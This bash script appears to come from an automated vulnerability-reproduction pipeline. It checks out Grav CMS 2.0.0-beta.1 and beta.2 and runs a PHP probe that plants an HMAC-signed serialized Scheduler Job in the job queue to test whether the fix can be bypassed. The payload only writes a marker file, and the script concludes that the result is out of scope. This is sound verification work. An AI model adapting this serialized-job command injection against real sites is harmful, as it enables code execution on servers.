#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR" "$ARTIFACTS"

VULN_TAG="2.0.0-beta.1"
FIXED_TAG="2.0.0-beta.2"
REPO_SOURCE="https://github.com/getgrav/grav.git"
CACHE_DIR=""
REPO=""
MIRROR=""
RESULT_JSON="$LOGS/reproduction_result.json"
PROOF_VULN="$VARIANT_DIR/proof_variant_vulnerable.txt"
PROOF_FIXED="$VARIANT_DIR/proof_variant_fixed.txt"

log() { echo "[*] $*" | tee -a "$LOGS/run.log"; }

install_toolchain() {
    local need_apt=0
    for tool in php composer jq git timeout python3; do
        command -v "$tool" >/dev/null 2>&1 || need_apt=1
    done
    if [ "$need_apt" -eq 1 ]; then
        if command -v sudo >/dev/null 2>&1; then SUDO=sudo; else SUDO=; fi
        log "Installing PHP/Composer tooling required for Grav variant checks"
        $SUDO apt-get update -qq
        $SUDO apt-get install -y -qq php-cli php-mbstring php-xml php-curl php-zip php-gd php-intl php-bcmath composer jq git coreutils python3
    fi
}

choose_repo_paths() {
    local context="$ROOT/project_cache_context.json"
    if [ -f "$context" ] && jq -e '.prepared == true and (.project_cache_dir | type == "string")' "$context" >/dev/null 2>&1; then
        CACHE_DIR="$(jq -r '.project_cache_dir' "$context")"
        REPO="$CACHE_DIR/repo"
        local mirror_base
        mirror_base="$(jq -r '.repo_mirror_dir // empty' "$context")"
        if [ -n "$mirror_base" ]; then MIRROR="$mirror_base/grav.git"; else MIRROR="$CACHE_DIR/repo-mirrors/grav.git"; fi
    else
        CACHE_DIR="$ARTIFACTS/cache"
        REPO="$CACHE_DIR/repo"
        MIRROR="$CACHE_DIR/repo-mirrors/grav.git"
    fi
}

prepare_repo() {
    choose_repo_paths
    mkdir -p "$CACHE_DIR" "$(dirname "$MIRROR")"
    if [ ! -d "$REPO/.git" ]; then
        log "Preparing Grav repository at $REPO"
        if [ -d "$MIRROR" ]; then git clone "$MIRROR" "$REPO"; else git clone "$REPO_SOURCE" "$REPO"; fi
    fi
    if ! git -C "$REPO" rev-parse -q --verify "refs/tags/$VULN_TAG" >/dev/null || ! git -C "$REPO" rev-parse -q --verify "refs/tags/$FIXED_TAG" >/dev/null; then
        if [ -d "$MIRROR" ]; then git -C "$REPO" fetch --tags "$MIRROR"; else git -C "$REPO" fetch --tags origin; fi
    fi
    git -C "$REPO" rev-parse "$VULN_TAG" > "$LOGS/vulnerable_version.txt"
    git -C "$REPO" rev-parse "$FIXED_TAG" > "$LOGS/fixed_version.txt"
    {
        echo "repository=https://github.com/getgrav/grav"
        echo "vulnerable_tag=$VULN_TAG"
        echo "vulnerable_commit=$(cat "$LOGS/vulnerable_version.txt")"
        echo "fixed_tag=$FIXED_TAG"
        echo "fixed_commit=$(cat "$LOGS/fixed_version.txt")"
        echo "source_repo=$REPO"
    } > "$LOGS/source_identity.txt"
}

install_dependencies_for_checkout() {
    local role="$1"
    log "$role: composer install"
    (cd "$REPO" && COMPOSER_ALLOW_SUPERUSER=1 composer install --no-dev --no-interaction --prefer-dist --optimize-autoloader) > "$LOGS/${role}_composer.log" 2>&1
}

write_minimal_grav_config() {
    rm -rf "$REPO/user" "$REPO/cache" "$REPO/tmp" "$REPO/logs"
    mkdir -p "$REPO/user/config" "$REPO/user/plugins" "$REPO/user/themes" "$REPO/user/accounts" "$REPO/user/pages" "$REPO/cache" "$REPO/tmp" "$REPO/logs"
    cat > "$REPO/user/config/system.yaml" <<'YAML'
pages:
  theme: quark
session:
  enabled: true
  initialize: false
cache:
  enabled: false
twig:
  cache: false
errors:
  display: true
  log: true
scheduler:
  status: {}
YAML
}

write_variant_probe_php() {
    cat > "$REPO/variant_jobqueue_hmac_probe.php" <<'PHP'
<?php
// Variant probe: a valid HMAC over attacker-supplied serialized_job.
// This is intentionally a local tamper scenario; the script records whether it
// is a fix bypass candidate, not whether it is in Grav's security scope.
require __DIR__ . '/vendor/autoload.php';
define('GRAV_CLI', true);
define('GRAV_REQUEST_TIME', microtime(true));
$grav = Grav\Common\Grav::instance(['loader' => $loader ?? null]);
$queueDir = __DIR__ . '/user/data/scheduler/queue';
@mkdir($queueDir . '/pending', 0777, true);
@mkdir($queueDir . '/processing', 0777, true);
@mkdir($queueDir . '/completed', 0777, true);
@mkdir($queueDir . '/failed', 0777, true);
$proof = getenv('PRUVA_PROOF');
$marker = getenv('PRUVA_MARKER') ?: 'GRAV_VARIANT_JOBQUEUE_HMAC';
if (!$proof) { fwrite(STDERR, "PRUVA_PROOF missing\n"); exit(2); }
$job = new Grav\Common\Scheduler\Job('system', ["printf '{$marker}' > '{$proof}'"], 'pruva-hmac-variant');
$serialized = serialize($job);
$item = [
    'id' => 'pruva-hmac-variant',
    'job_id' => 'benign-fallback',
    'command' => '/bin/true',
    'arguments' => [],
    'priority' => 'high',
    'timestamp' => microtime(true),
    'attempts' => 0,
    'max_attempts' => 1,
    'created_at' => date('c'),
    'scheduled_for' => null,
    'metadata' => [],
    'serialized_job' => base64_encode($serialized),
    'serialized_job_hmac' => class_exists('Grav\\Common\\Security') && method_exists('Grav\\Common\\Security', 'getNonceKey') ? hash_hmac('sha256', $serialized, Grav\Common\Security::getNonceKey()) : 'not-present-in-beta1',
];
file_put_contents($queueDir . '/pending/pruva-hmac-variant.json', json_encode($item, JSON_PRETTY_PRINT));
$queue = new Grav\Common\Scheduler\JobQueue($queueDir);
$queued = $queue->pop();
if (!$queued) { fwrite(STDERR, "queue_pop_returned_null\n"); exit(3); }
$queued->run();
$ok = is_file($proof) && trim((string)file_get_contents($proof)) === $marker;
file_put_contents(getenv('PRUVA_QUEUE_COPY') ?: (__DIR__ . '/variant_queue.json'), json_encode($item, JSON_PRETTY_PRINT));
fwrite(STDOUT, json_encode([
    'proof_created' => $ok,
    'class' => get_class($queued),
    'command' => is_string($queued->getCommand()) ? $queued->getCommand() : 'callable',
    'hmac_supplied' => true,
    'hmac_source' => 'Security::getNonceKey() in the same local site context',
]) . "\n");
exit($ok ? 0 : 4);
PHP
}

run_hmac_probe() {
    local role="$1" tag="$2" proof="$3" marker="$4"
    log "$role: checkout $tag and run signed serialized_job probe"
    rm -f "$proof"
    git -C "$REPO" checkout "$tag" -f >/dev/null 2>&1
    git -C "$REPO" clean -ffdx >/dev/null 2>&1
    install_dependencies_for_checkout "$role"
    write_minimal_grav_config
    write_variant_probe_php
    local queue_copy="$VARIANT_DIR/queue_${role}.json"
    set +e
    (cd "$REPO" && PRUVA_PROOF="$proof" PRUVA_MARKER="$marker" PRUVA_QUEUE_COPY="$queue_copy" php variant_jobqueue_hmac_probe.php) > "$LOGS/${role}_hmac_probe_stdout.json" 2> "$LOGS/${role}_hmac_probe_stderr.log"
    local rc=$?
    set -e
    if [ -f "$proof" ]; then cp "$proof" "$VARIANT_DIR/proof_${role}.txt"; fi
    echo "$rc" > "$LOGS/${role}_hmac_probe_exit_code.txt"
    if [ "$rc" -eq 0 ]; then
        log "$role: signed serialized_job executed and wrote proof marker"
        return 0
    fi
    log "$role: signed serialized_job probe did not execute (exit $rc)"
    return 1
}

scan_source() {
    {
        echo "--- SECURITY.md excerpt ---"
        sed -n '1,220p' "$REPO/SECURITY.md" || true
        echo "--- vulnerable unserialize sinks ---"
        git -C "$REPO" grep -n "unserialize(" "$VULN_TAG" -- '*.php' || true
        echo "--- fixed unserialize sinks ---"
        git -C "$REPO" grep -n "unserialize(" "$FIXED_TAG" -- '*.php' || true
        echo "--- fixed command injection sink context ---"
        git -C "$REPO" show "$FIXED_TAG:system/src/Grav/Console/Cli/InstallCommand.php" | sed -n '145,165p' || true
    } > "$LOGS/source_scan.log"
}

main() {
    : > "$LOGS/run.log"
    rm -f "$PROOF_VULN" "$PROOF_FIXED" "$VARIANT_DIR"/proof_vulnerable.txt "$VARIANT_DIR"/proof_fixed.txt 2>/dev/null || true
    install_toolchain
    prepare_repo
    scan_source

    local vuln_ok=0 fixed_ok=0
    if run_hmac_probe vulnerable "$VULN_TAG" "$PROOF_VULN" "GRAV_VARIANT_HMAC_VULNERABLE"; then vuln_ok=1; fi
    if run_hmac_probe fixed "$FIXED_TAG" "$PROOF_FIXED" "GRAV_VARIANT_HMAC_FIXED"; then fixed_ok=1; fi

    jq -n \
      --argjson vulnerable_signed_hmac_exec "$vuln_ok" \
      --argjson fixed_signed_hmac_exec "$fixed_ok" \
      --arg vulnerable_commit "$(cat "$LOGS/vulnerable_version.txt")" \
      --arg fixed_commit "$(cat "$LOGS/fixed_version.txt")" \
      --arg note "The only bypass-like behavior found is that a queue item with a correct site HMAC executes on the fixed version. This requires knowledge/control of Security::getNonceKey() or same-process/local write capability, so it does not cross the same remote/API trust boundary as the reproduced CVE." \
      '{vulnerable_signed_hmac_exec:($vulnerable_signed_hmac_exec==1), fixed_signed_hmac_exec:($fixed_signed_hmac_exec==1), vulnerable_commit:$vulnerable_commit, fixed_commit:$fixed_commit, bypass_security_scope:false, note:$note}' \
      > "$RESULT_JSON"

    echo "[*] Variant candidate results: vulnerable_signed_hmac_exec=${vuln_ok}, fixed_signed_hmac_exec=${fixed_ok}"
    echo "[*] Result JSON: $RESULT_JSON"

    # Exit 0 is reserved for a true in-scope bypass.  This probe is intentionally
    # out-of-scope because it signs with the server's private HMAC key; therefore
    # the completed stage exits 1 while preserving runtime evidence.
    exit 1
}

main "$@"
